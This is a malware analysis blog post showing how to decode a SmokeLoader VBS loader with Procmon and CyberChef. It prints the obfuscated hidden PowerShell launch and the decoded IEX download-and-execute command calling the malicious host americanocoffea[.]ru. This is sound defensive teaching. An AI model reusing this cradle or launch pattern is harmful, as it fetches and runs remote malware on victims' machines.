SmokeLoader - Malware Analysis and Decoding With Procmon

embee-research.ghost.io/smokeloader-analysis-with-procmon/

Matthew

June 24, 2023

<u>Analysis</u>

Decoding malware loaders using Procmon and Cyberchef. Utilising Powershell to retrieve additional payloads and free online tooling to identify the malware family.

This post will show you how to manually decode a SmokeLoader visual basic (.vbs) script using Procmon. From here you will see how to retrieve additional stages using Powershell and identify a malware sample using sandbox tooling.

The initial file can be <u>downloaded from malware bazaar</u> and unzipped using the password <u>infected</u>.

SHA256:375798f97452cb9143ffb08922bebb13eb6bb0c27a101ebc568a3e5295361936

Initial Analysis

The initial file after unzipping is a visual basic .vbs script.

An additional copy 375.vbs was made in order to preserve the original and work with a simpler filename.



Since visual basic is a text-based language, the file can be opened using a text editor.

This blog will utilise sublime text, but visual code, notepad++, or any other text editor will work equally well. (Any text editor with language highlighting and find/replace with regex support)



The script is "only" 10 lines long and primarily consists of a large blob of decimal values (line 1), a large blob of text (line 3).

The remainder of the surrounding code is used to decode the decimal and text blob.

Decoding Malware with Process Monitor (Procmon)

This is by far the simplest method for decoding script-based malware. This method involves executing the script inside of a safe virtual machine and simultaneously running the "Process Monitor" tool from Sysinternals.

This method will capture any new processes spawned by the obfuscated script, revealing any decoded command line arguments that were used to spawn the new process. This bypasses a lot of the obfuscation that may be present in an original encoded script.

There are downsides to this method as it assumes that a new process will be spawned, but it is the easiest method and is a great skill to have.

If you are using <u>flare-vm</u>, you will already have Procmon installed. If not, you can obtain it from the <u>following link</u>.

How to monitor the malware with ProcMon

In order to "decode" the malware using Procmon, you will first need to start the Procmon process and perform a few basic actions.

These basic actions are needed in order to hone in on only the events that are related to the malware.

Since procmon can capture hundreds of thousands of events per second. This can quickly eat up memory so you want to make sure to capture the right events.

- 1. Locate and open the Procmon process
- 2. Stop Capture (CTRL+E), or manually deselect the capture button.
- 3. Clear the window (CTRL+X)
- 4. Set a filter on WScript.exe (CTRL+L)
- 5. Turn on capture and run the malware.

Here we can see the initial screen when Procmon is first opened. Within seconds, 63,014 total events are captured. We want to stop this as soon as possible.

The stop capture can be done with CTRL+E or by manually de-selecting the capture button.

Process Monitor - Sys	internais: CTF	RL+E or deselect to stop cap	oture		_	\times
File Edit Event Filter To	ools Options Help					
	ሕ 🗲 ዖ 기 📑 🖬 🖵 📽 🗛					
Time o Process Name	PID Operation	Path	Result	Detail		^
6:06:56 🔳 MsMpEng.exe	3556 🐂 ReadFile	C:\ProgramData\Microsoft\Windows Def.	SUCCESS	Offset: 17,076,224		
6:06:56 🔳 MsMpEng.exe	3556 🐂 ReadFile	C:\ProgramData\Microsoft\Windows Def	SUCCESS	Offset: 17,072,128		
6:06:56 🔳 Isass.exe	768 🐂 ReadFile	C:\Windows\System32\Isasrv.dll	SUCCESS	Offset: 1,598,976,		
6:06:56 🔳 MsMpEng.exe	3556 🐂 ReadFile	C:\ProgramData\Microsoft\Windows Def.	SUCCESS	Offset: 15,892,480		
6:06:56 🔳 Isass.exe	768 🐂 ReadFile	C:\Windows\System32\Isasrv.dll	SUCCESS	Offset: 1,582,592,		
6:06:56 🔳 Isass.exe	768 🐂 ReadFile	C:\Windows\System32\Isasrv.dll	SUCCESS	Offset: 1,502,720,		
6:06:56 🔳 MsMpEng.exe	3556 🐂 ReadFile	C:\ProgramData\Microsoft\Windows Def.	.SUCCESS	Offset: 16,207,872		
6:06:56 🔳 Isass.exe	768 🐂 ReadFile	C:\Windows\System32\Isasrv.dll	SUCCESS	Offset: 1,486,336,		
6:06:56 📧 MsMpEng.exe	3556 🐂 ReadFile	C:\ProgramData\Microsoft\Windows Def	SUCCESS	Offset: 16,969,728		
6:06:56 🔳 Isass.exe	768 뻱 QueryNameInfo.	C:\Users\Milhouse\AppData\Local\Tem	SUCCESS	Name: \Users\Milh		
6:06:56 🔳 Isass.exe	768 🐂 QueryNameInfo.	C:\Users\Milhouse\AppData\Local\Tem	SUCCESS	Name: \Users\Milh		
6:06:56 📧 MsMpEng.exe	3556 🐂 ReadFile	C:\ProgramData\Microsoft\Windows Def	.SUCCESS	Offset: 16,035,840		
6:06:56 🐂 Explorer.EXE	4764 🐂 ReadFile	C:\Windows\System32\shlwapi.dll	SUCCESS	Offset: 312,832, L		
6:06:56 🔳 MsMpEng.exe	3556 🐂 ReadFile	C:\ProgramData\Microsoft\Windows Def	.SUCCESS	Offset: 16,015,360		
6:06:56 🐂 Explorer.EXE	4764 🐂 ReadFile	C:\Windows\System32\shlwapi.dll	SUCCESS	Offset: 261,632, L		
6:06:56 📧 MsMpEng.exe	3556 🐂 ReadFile	C:\ProgramData\Microsoft\Windows Def	.SUCCESS	Offset: 17,043,456		
6:06:56 📝 ctfmon.exe	3208 🐂 ReadFile	C:\Windows\System32\InputService.dll	SUCCESS	Offset: 4,026,880,		
6:06:56 📊 Explorer.EXE	4764 🐂 ReadFile	C:\Windows\explorer.exe	SUCCESS	Offset: 3,749,376,		
6:06:56 🔳 MsMpEng.exe	3556 🐂 ReadFile	C:\ProgramData\Microsoft\Windows Def	.SUCCESS	Offset: 16,150,528		
6:06:56 📝 ctfmon.exe	3208 🐂 ReadFile	C:\Windows\System32\InputService.dll	SUCCESS	Offset: 4,088,320,		
6:06:56 🐂 Explorer.EXE	4764 🐂 ReadFile	C:\Windows\explorer.exe	SUCCESS	Offset: 3,700,224,		
6:06:56 📝 ctfmon.exe	3208 📑 RegQueryKey	HKLM	SUCCESS	Query: HandleTag		
6:06:56 📝 ctfmon.exe	3208 📑 RegOpenKey	HKLM\Software\Microsoft\Input\Settings	SUCCESS	Desired Access: R		
6:06:56 📝 ctfmon.exe	3208 📑 RegQueryKey	HKCU	SUCCESS	Query: HandleTag		
6:06:56 Z ctfmon.exe	3208 📑 RegOpenKey	HKCU\Software\Microsoft\Input\Settings	NAME NOT FOUND	Desired Access: R		
6:06:56 🌌 ctfmon.exe	3208 🏬 RegQueryKey	HKLM\SOFTWARE\Microsoft\Input\Setti	SUCCESS	Query: HandleTag		
6:06:56 📝 ctfmon.exe	3208 🏬 RegOpenKey	HKLM\SOFTWARE\Microsoft\Input\Setti	SUCCESS	Desired Access: Q		
6:06:56 📝 ctfmon.exe	3208 📑 RegQueryValue	HKLM\SOFTWARE\Microsoft\Input\Setti	SUCCESS	Type: REG_DWO		
6:06:56 📻 Explorer.EXE	4764 🐂 ReadFile	C:\Windows\explorer.exe	SUCCESS	Offset: 3,667,456,		
6:06:56 🌌 ctfmon.exe	3208 🏬 RegCloseKey	HKLM\SOFTWARE\Microsoft\Input\Setti	SUCCESS			
6:06:56 📝 ctfmon.exe	3208 🏬 RegCloseKey	HKLM\SOFTWARE\Microsoft\Input\Setti	SUCCESS			
6:06:56 🖉 ctfmon exe	3208 🎫 ReaQuervKev	нкі м	SUCCESS	Querv: HandleTag		~
Showing 63,014 of 110,12	3 events (57%) Ba	cked by virtual memory				

Opening procmon and stopping capture

Once the capture has been stopped, the already captured events will need to be cleared from the screen.

The captured events can be cleared with CTRL+X or by hitting the trash can button. This creates a clean screen for easy future analysis.



With the window now cleared, a new filter can be created with CTRL+L or by hitting the filter button. This will allow us to "hone in" on only wscript.exe, which is the process responsible for running .vbs scripts.

Process Monito	3. Create	a filter to ho	one in on the m	alware p	rocess (ws	cript.exe)		_	\times
File Edit Event Elicer roots open									
	An anatian 🛛 🗖	41-	r) · · It	Detail				
Time o Process Name PID	Operation Pa	th	F	Result	Detail				
	Process Monito	r Filter				>	<		
	Display entries ma	tching these cor	nditions:						
	Architecture	∼ is	~		✓ the	n Include ~			
	Reset				Add	<u>R</u> emove	1		
	Column	Relation	Value	Action		^			
	Process Na	is	Procmon.exe	Exclude					
	Process Na	. is	Procexp.exe	Exclude					
	Process Na	. is	Autoruns.exe	Exclude					
	Process Na	. is	Procmon64.exe	Exclude					
	Process Na	. IS	Procexp64.exe	Exclude					
		begins with	IRP M.I	Exclude					
	Operation	begins with	FASTIO_	Exclude					
				QK	<u>C</u> ancel	Apply			
No events (capture disabled)	Backee	d by virtual mem	ory						

A new process filter for wscript.exe can now be created. Ensuring to press "add" to save the new filter.

Process Monitor	Filter 4	. Create a pro	cess filte	r for wscript	.exe
Display entries mat	tching these cond	itions:			
Process Name	∼ is	✓ wscript.exe		∽ ∵ ihen	Include
Reset				Add	<u>R</u> emove
Column	Relation	Value	Action		^
✓ Second Process Na	is	Procmon.exe	Exclude		
✓ Second Process Na	is	Procexp.exe	Exclude		
✓ Second Process Na	is	Autoruns.exe	Exclude		
✓ Second Process Na	is	Procmon64.exe	Exclude		
✓SProcess Na	is	Procexp64.exe	Exclude		
✓ SProcess Na	is	System	Exclude		
✓ S Operation	begins with	IRP_MJ_	Exclude		
✓ S Operation	begins with	FASTIO_	Exclude		~
		2	<u>Σ</u> K	<u>C</u> ancel	Apply

This will result in a new filter entry for wscript.exe.

rocess Name	∽ is	✓ wscript.exe		~	then	Include	`
Reset				<u>A</u> dd		<u>R</u> emove	
Column	Relation	Value	Action	_			/
🛛 😨 Process Na	is	wscript.exe	Include				
∠ 🛂 Process Na	is	Procmon.exe	Exclude				
✓ Weight Process Na	is	Procexp.exe	Exclude				
✓ X Process Na	is	Autoruns.exe	Exclude				
28 Process Na	is	Procmon64.exe	Exclude				
28 Process Na	is	Procexp64.exe	Exclude				
28 Process Na	is	System	Exclude				
2 🖸 Operation	begins with	IRP_MJ_	Exclude				

At this stage, the event capture can be re-started. This will begin capturing all events related to wscript.exe

Process Monitor - Sysi	Process Monitor - Sysinternals: www.sysinternals.com								Х
File Edit Event Filter To	ols Options Help								
	k 🤌 ρ 🧷 📑 🖬 🖵 📽 🚣	Dette	Descrip	D-1-1					
Time o Process Name	PID Operation	Path	Result	Detail					
,	Save	the filter and restart the cap	ture.						
The current filter excludes	all 83,913 events Ba	acked by virtual memory							

Now that the capture is ready, it's time to run the original malware script.

This is as simple as double clicking on the original .vbs file. Windows will run the script using wscript.exe by default.



Proce	ess Monitor - Sy	sinternals: www.sysinternals.c	com			- 0	×
File Edit	Event Filter T	Tools Options Help					
08	🗟 📋 🍸 🗷 🎯	옮 🗲 ੭ ↗ 📑 🖬 🖵 ் 🗛					
Time o	Process Name	PID Operation	Path	Result	Detail		^
6:20:54	WScript.exe	4972 🧬 Process Start		SUCCESS	Parent PID: 4764,		
6:20:54	WScript.exe	4972 🔗 Thread Create		SUCCESS	Thread ID: 4888		
6:20:54	WScript.exe	4972 🗬 Load Image	C:\Windows\System32\wscript.exe	SUCCESS	Image Base: 0x7ff		
6:20:54	WScript.exe	4972 🕫 Load Image	C:\Windows\System32\ntdll.dll	SUCCESS	Image Base: 0x7ff		
6:20:54	WScript.exe	4972 📻 CreateFile	C:\Windows\Prefetch\WSCRIPT.EXE-52.	SUCCESS	Desired Access: G		
6:20:54	WScript.exe	4972 🐂 QueryStandardl	C:\Windows\Prefetch\WSCRIPT.EXE-52.	SUCCESS	AllocationSize: 16,		
6:20:54	WScript.exe	4972 🐂 ReadFile	C:\Windows\Prefetch\WSCRIPT.EXE-52.	SUCCESS	Offset: 0, Length:		
6:20:54	WScript.exe	4972 🐂 CloseFile	C:\Windows\Prefetch\WSCRIPT.EXE-52.	SUCCESS			
6:20:54	-WScript.exe	4972 📑 RegOpenKey	HKLM\System\CurrentControlSet\Contr	REPARSE	Desired Access: Q		
6:20:54	🕳 WScript.exe	4972 🏬 RegOpenKey	HKLM\System\CurrentControlSet\Contr	SUCCESS	Desired Access: Q	The malware events have	
6:20:54	WScript.exe	4972 🏬 RegQueryValue	HKLM\System\CurrentControlSet\Contr	NAME NOT FOUND	Length: 80		
6:20:54	WScript.exe	4972 🏬 RegCloseKey	HKLM\System\CurrentControlSet\Contr	SUCCESS		successiony been captured with	
6:20:54	WScript.exe	4972 🏬 RegOpenKey	HKLM\SYSTEM\CurrentControlSet\Cont.	REPARSE	Desired Access: Q	procmon.	
6:20:54	WScript.exe	4972 🏬 RegOpenKey	HKLM\System\CurrentControlSet\Contr	NAME NOT FOUND	Desired Access: Q		
6:20:54	WScript.exe	4972 🏬 RegOpenKey	HKLM\SYSTEM\CurrentControlSet\Cont.	REPARSE	Desired Access: Q		
6:20:54	WScript.exe	4972 🏬 RegOpenKey	HKLM\System\CurrentControlSet\Contr	SUCCESS	Desired Access: Q		
6:20:54	WScript.exe	4972 🏬 RegQueryValue	HKLM\System\CurrentControlSet\Contr	NAME NOT FOUND	Length: 24	Leave this running for a few	
6:20:54	WScript.exe	4972 🏬 RegCloseKey	HKLM\System\CurrentControlSet\Contr	SUCCESS		accorde. Then hit CTPL+E to stop	
6:20:54	WScript.exe	4972 🐂 CreateFile	C:\Users\Milhouse\Desktop\375798f974.	SUCCESS	Desired Access: E	seconds. Then hit CTRLTE to stop	
6:20:54	WScript.exe	4972 🗬 Load Image	C:\Windows\System32\kernel32.dll	SUCCESS	Image Base: 0x7ff	capture.	
6:20:54	WScript.exe	4972 🗬 Load Image	C:\Windows\System32\KernelBase.dll	SUCCESS	Image Base: 0x7ff		
6:20:54	WScript.exe	4972 🏬 RegOpenKey	HKLM\System\CurrentControlSet\Contr	REPARSE	Desired Access: Q		
6:20:54	WScript.exe	4972 🏬 RegOpenKey	HKLM\System\CurrentControlSet\Contr	NAME NOT FOUND	Desired Access: Q		
6:20:54	WScript.exe	4972 🏬 RegOpenKey	HKLM\System\CurrentControlSet\Contr	REPARSE	Desired Access: R		
6:20:54	WScript.exe	4972 🏬 RegOpenKey	HKLM\System\CurrentControlSet\Contr	NAME NOT FOUND	Desired Access: R		
6:20:54	WScript.exe	4972 🏬 RegOpenKey	HKLM\Software\Policies\Microsoft\Wind	SUCCESS	Desired Access: Q		1
6:20:54	WScript.exe	4972 🏬 RegQueryValue	HKLM\SOFTWARE\Policies\Microsoft\	NAME NOT FOUND	Length: 80		
6:20:54	WScript.exe	4972 🏬 RegCloseKey	HKLM\SOFTWARE\Policies\Microsoft\	SUCCESS			
6:20:54	WScript.exe	4972 🏬 RegOpenKey	HKCU\Software\Policies\Microsoft\Wind	. NAME NOT FOUND	Desired Access: Q		
6:20:54	WScript.exe	4972 🏬 RegOpenKey	HKLM\System\CurrentControlSet\Contr	REPARSE	Desired Access: R		
6:20:54	WScript.exe	4972 🏬 RegOpenKey	HKLM\System\CurrentControlSet\Contr	SUCCESS	Desired Access: R		
6.20.24	WScript exe	4972 🎫 RegQuervValue	HKI M\Svstem\CurrentControlSet\Contr	SUCCESS	Type RFG DWO		~
Showing	9,297 of 254,941	1 events (3.6%) Bao	cked by virtual memory				.:

At first glance this is a lot (9297 events in just a few seconds) but we will soon filter down to a manageable number.

The primary focus here is to identify if any new processes were spawned during the execution of the script. If a new process has been launched, we want to observe any arguments that have been passed and see if this reveals the functionality of the malware or at least brings us closer to something that allows us to determine what it does.

Identifying Spawned Processes Using Procmon

The process tree is the best way to identify newly spawned processes. This can be accessed by pressing CTRL+T or browsing the Procmon menu Tools -> Process Tree.

This will reveal a window similar to below. The top half has been covered to improve readability.

Process Tree								×
Only show processes still running a	at end of current tr	ace						
Timelines cover displayed events c	Timelines cover displayed events only							
Process	Description	Life Time	Company	Owner	Command			
	Drasses Manitar		Quainternale unu			en64 eve"	(aviain a	
WScript eye (4972)	Microsoft ® Windo		Microsoft Corporat		"C:\Windows\System32\WScrint exe" "C:\Users\	Milbouse\[)eskton\	ור
cmd exe (4036)	Windows Comman		Microsoft Corporat.		"C:\Windows\System32\cmd exe" /c powErshEll	-non -w hi	ddEn -E	
Conhost.exe (8556)	Console Window		Microsoft Corporat.	BURRITOBARN\M.	\??\C:\Windows\system32\conhost.exe 0xfffffff	ForceV1	uuen -e	
powershell.exe (6196)	Windows PowerS		Microsoft Corporat.	BURRITOBARN\M.	powErshEll -nop -w hiddEn -Ep bypass -Enc SC	BFAFaAl	AoAE4	
			Oracie Corporation		C. Userstwillinguse/Desktop/Tooling/Tools/open	un-19.0.2	window.	
					· · · · · · · · · · · · · · · · · · ·	,		~
<>	<		Wscript.exe ha	as launched b	oth cmd.exe and powershell.exe			
Description: Microsoft ® Windows B Company: Microsoft Corporation Path: C:\Windows\System32\	Description: Microsoft ® Windows Based Script Host Company: Microsoft Corporation Path: C:\Windows\System32\WScript.exe			ve can begin t	o see some decoded arguments.			
Command: "C:\Windows\System32	\WScript.exe" "C:\U	sers\Milhouse\Des	sktop\375798f9745	2cb914				·
User: BURRITOBARN\Milhous	se							
PID: 4972 Started	5/30/2023 6.20.54	PM						
Fuited.	5/30/2023 6:20:54							
Exileu.	5/30/2025 0:20.55	PIM						
Go To Event Include Process	Include <u>S</u> ubtree	2					<u>C</u> lose	

In the screenshot above - We can see that WScript.exe has ultimately spawned 3 new processes. Cmd.exe, Conhost.exe and powershell.exe.

By honing in on the right-most column titled command, you can observe the decoded commands that were used to spawn each process.

	Procmon64.exe (25	als - ww	"C:\Users\Milhouse\AppData\Local\Temp\Procmon64.exe" /originalpath "C:\ProgramData\chocolatey\lib\sysinternals\tools\Procmon.exe"	5/30/2
E 🦢	WScript.exe (4972)	Corporat.	"C:\Windows\System32\WScript.exe" "C:\Users\Milhouse\Deskton\375798f97452cb9143ffb08922bebb13eb6bb0c27a101ebc568a3e52953619	5/30/2
	cmd.exe (4036)	Corporat.	"C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc SQBFAFqAlAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAlABO	5/30/2
	Conhost.exe (855	Corporat	\??\C:\Windows\system32\conhost.exe 0xfffffff -ForceV1	5/30/2
	powershell.exe (6	Corporat.	powErshEll -nop -w hiddEn -Ep bypass -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpA	5/30/2
🛃 ja	avaw.exe (1524)	orporation	"C:\Users\Milhouse\Desktop\Tooling\Tools\openjdk-19.0.2_windows-x64_bin\jdk-19.0.2\bin\javaw" -Duser.home="C:\Users\Milhouse" -Djava	. 3/31/2
			Partially decoded powershell command]
<	>	<		

In the cmd.exe command - You can see that cmd.exe was used to spawn Powershell via the /c argument. The cmd.exe serves no malicious purpose, it serves only to spawn the Powershell.

The /c argument will cause the powershell process to terminate after it has finished. This avoids a powershell terminal hanging around on the screen if powershell was launched directly.

Detection related tangent

The usage of cmd.exe also introduces the process relationship of WScript.exe -> cmd.exe -> powershell.exe. This may hinder detection in some SIEM tooling that do not capture grandparent processes.

Eg Wscript.exe -> powershell is not common and would make a simple and reliable detection.

Cmd.exe -> powershell.exe and wscript.exe -> cmd.exe are both very common and would require tuning and additional filtering for reliable detection.

Returning back to the Procmon output. The final command can be easily observed by clicking on the line containing PowerShell.

The content has not been fully de-obfuscated yet. But we now have a powershell command with a seemingly simple base64. This is much better than the initial obfuscated .vbs script.

Procemon64.exe (2bals - ww., "C:Users/Millhouse/AppUata/Local: lempi/rocmon64.exe" /orgimalpath "C:ProgramUata/chocolate/sitheysintemais/tools/Procemon.exe" 5/30/2023 6:00:5b, n/a WScript.exe (4972) Wscript.exe (4972) Corporat., "C:Windows/System32/cod.exe" /c:Users/Millhouse/Loshtop37598197452cb9143ffb08922beb13eb6bb0c27a101ebc568ae5255819								
		>						
Description: Windows PowerShell	scription: Windows PowerShell							
Company: Microsoft Corporation	The full contents of the powershell command can be obtained.							
Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe								
Command: powErshEll -nop -w hiddEn -Ep bypass -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoA								
User: BURRITOBARN\Milhouse								
PID: 6196 Started: 5/30/2023 6:20:55 PM								
Exited: 5/30/2023 6:20:58 PM								
Go To Event Include Process Include Subtree		Close						

To obtain the full contents, you can highlight the command window and hit CTRL+C.

Description:	Windows PowerShell								
Company:	Microsoft Corporation								
Path:	C:\Windows\System3	:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe							
Command:	OgAvAC8AYQBtAGU	OgAvAC8AYQBtAGUAcgBpAGMAYQBuAG8AYwBvAGYAZgBIAGEALgByAHUAlgApAA== Highlight the entire command							
User:	BURRITOBARN\Milho	ise	and copy into a text editor or						
PID:	6196 Started:	5/30/2023 6:20:55 PM	cyberchef.						
	Exited:	5/30/2023 6:20:58 PM							
Go To Ever	Go To Event Include Process Include Subtree								

Pasting back into a text-editor, the semi-decoded powershell command can be observed.

it bolocion rina ri	ten ette tots freget frederices freip	
375.vbs	× powErshEll -nop -w hiddEn -Ep bypass -Enc SQBFAFg •	
powErshEll iAGMAbABpAG QBuAG8AYwBv	-nop -w hiddEn -Ep bypass -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQB GUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYQBtAGUAcgBpAGMAY /AGYAZgBlAGEALgByAHUAIgApAA==	ninita na anti-a por a pro-
	Powershell command is not very long. Obfuscated piece can be easily copied into cyberchef.	

The final decoded component is easily obtained using <u>CyberChef</u> and <u>From Base64</u>. Remembering to add "Remove Null Bytes" if you observe any dots or weird red lines. This is due to the utf-16 encoding common in windows.

	Recipe	8 🖿 🖬	Input	+		ÐÍ	i =
	From Base64	⊘ 11	SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGi AGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYQBtAGUAcgBpAGMAYQI	JAbgB BuAG8	30ACk 3AYwE	ALgBkA SvAGYAZ	G8AdwBu gB1AGEA
	Alphabet A-Za-z0-9+/=	•	LgByAHUAIgApAA==				
	Remove non-alphabet cha	rs 🔲 Strict mode	RBC 200 = 1		Tr	Raw Byte	s 🔶 LF
			Output		B		6 C
Ļ	Remove null bytes 🚫 11		<pre>IEX (New-Object Net.Webclient).downloadstring("http://americanocoffea.ru"</pre>				
-							
		A st	ring is downloaded and executed using IEX.				

We can now observe a decoded command that downloads a string from

americanocoffea[.]ru. The resulting string is then executed using Invoke-Expression (IEX). Since the decoded string is executed within powershell, it is likely another powershell script.

Domain Analysis

The domain americanocoffea[.]ru had <u>11/87 detections</u> at the time of writing 2023/05/23. There was no information available on VirusTotal to determine which malware was being downloaded.



A malicious domain has now been identified and can be used as an IOC. But there is no information on the malware that may be downloaded.

Members Section - Retrieving Malware Payloads With Powershell

In this next section, I will show how to retrieve the payload using Powershell and identify the malware family using free online tooling.

Signing up is free! and gives you early access to future posts and all bonus content.

<u>Subscribe now</u> Already have an account? <u>Sign in</u>